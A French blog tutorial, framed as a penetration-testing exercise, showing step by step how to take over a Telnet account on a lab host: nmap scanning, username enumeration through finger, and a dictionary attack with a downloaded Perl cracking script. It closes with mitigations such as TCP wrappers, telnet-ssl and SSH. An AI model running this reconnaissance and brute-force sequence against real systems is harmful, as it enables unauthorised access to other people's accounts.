Un serveur sécurisé, c'est bien mais l'utilisation d'un protocole en clair peut anéantir les efforts de sécurisation. En effet, les protocoles comme FTP, Telnet, Rlogin et bien d'autres fonctionnent avec une méthode d'authentification faible, c'est-à-dire un couple mot de passe / login mais pire, le mot de passe est transmis en clair, ainsi que les communications. Une solution qui vous vient certainement est de sortir votre sniffer préféré (ex : wireshark). Bonne idée ! Surtout si la machine cible est sur le même réseau que le votre. Sinon, nous allons voir une autre méthode qui pourra s'avérer plus simple dans le cas d'une machine cible distante.
Contexte de l'attaque
Nous effectuons un test d'intrusion sur un serveur qui utilise un protocole en clair. Nous utiliserons pour exemple Telnet qui est - malheureusement - bien trop utilisé ... Le but de la mission est de localiser l'Agent J et de prendre possession de son compte ... Prêt à relever le défi ?
Première chose, la machine est-elle vulnérable ?
$ nmap -sS -sV -p 23,79 192.168.0.102
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2008-02-16 16:03 EST Interesting ports on 192.168.0.102:
PORT STATE SERVICE VERSION
23/tcp open telnet Linux telnetd
79/tcp open finger Debian fingerd Service
Info: OS: Linux
Nmap finished: 1 IP address (1 host up) scanned in 6.250 seconds
Les deux démons dont nous avons besoin sont présents et actifs sur le serveurs cible : telnet et finger. Ce dernier n'est pas obligatoire mais nous facilitera la tâche comme nous le verrons dans le paragraphe qui suit.
Déroulement de l'attaque
Pour obtenir l'accès sur la machine, nous avons besoin dans un premier temps du login. Il peut être obtenu de plusieurs manières. Si par social engineering ou en sniffant cela n'a pas été possible, un autre possibilité est le démon finger s'il tourne sur la machine distante. C'est notre cas !
$ finger @192.168.0.102
[192.168.0.102]
Login Name Tty Idle Login Time Office Office Phone
agentJ secret *:0 Feb 16 15:47
root root pts/1 Feb 16 15:48 (:0.0)
Nous avons franchi la première étape en découvrant le login de l'utilisateur cible ! Il s'agit d'agentJ.
Maintenant, il nous reste à trouver le mot de passe. Pour cela, nous allons sur le site de packetstormsecurity pour y trouver :
Maintenant, il nous reste à trouver le mot de passe. Pour cela, nous allons sur le site de packetstormsecurity pour y trouver :
- Un fichier contenant des mots de passe (prenez le fichier qui vous semble le plus pertinent);
- Un script perl pour casser le mot de passe de la session telnet.
Un peu de préparation ...
Pour que tout puisse fonctionner correctement, il faut décompresser le fichier contenant les mots de passe :
uncompress <fichier>
Dans le même répertoire, décompresser le fichier contenant le script perl (Telnet_crack.pl).
tar -xzvf Telnet_crack.tar.gz
cd Telnet_crack
tar -xvzf Net-Telnet-X.XX.tar.gz (avec X.XX, le numéro de la version)
cd Net-Telnet-X.XX
perl Makefile.PL
make
make install
Voilà, vous êtes prêt !
Crackage du mot de passe
Il nous suffit de lancer la commande suivante :
perl Telnet_Crack.pl -h 192.168.0.102 -u agentJ -P <fichier_mdp>
Pour obtenir :
Trouvé ! Le mot de passe est donc Missi0n_/\ccomplished.
Vérifions tout de suite notre résultat :
Nous nous sommes bien connecté avec le compte de la victime ...
Conclusion
Nous venons de voir un exemple de prise de contrôle d'un serveur via un service utilisant les texte en clair. A noter que d'autres outils existent pour cracker Telnet et les protocoles non chiffrés en général comme Brutus par exemple. Heureusement, des méthodes de sécurisation existent ! Par exemple, le service Telnet, quitte à être utilisé, aurait dû être "wrappé" pour en limiter l'accès. Mieux mais peu connu, il existe l'outil telnet-ssl où les communication sont chiffrées avec SSL comme son nom l'indique. Encore, mieux, utiliser des protocoles plus sûr comme SSH qui ont aussi l'avantage de permettre l'utilisation d'un authentification plus forte via des clés asymétriques. Cependant, pour des raisons "historiques" ou pour ne pas empêcher le fonctionnement de script sur des serveurs en production, le service Telnet est toujours utilisé...
Aucun commentaire:
Enregistrer un commentaire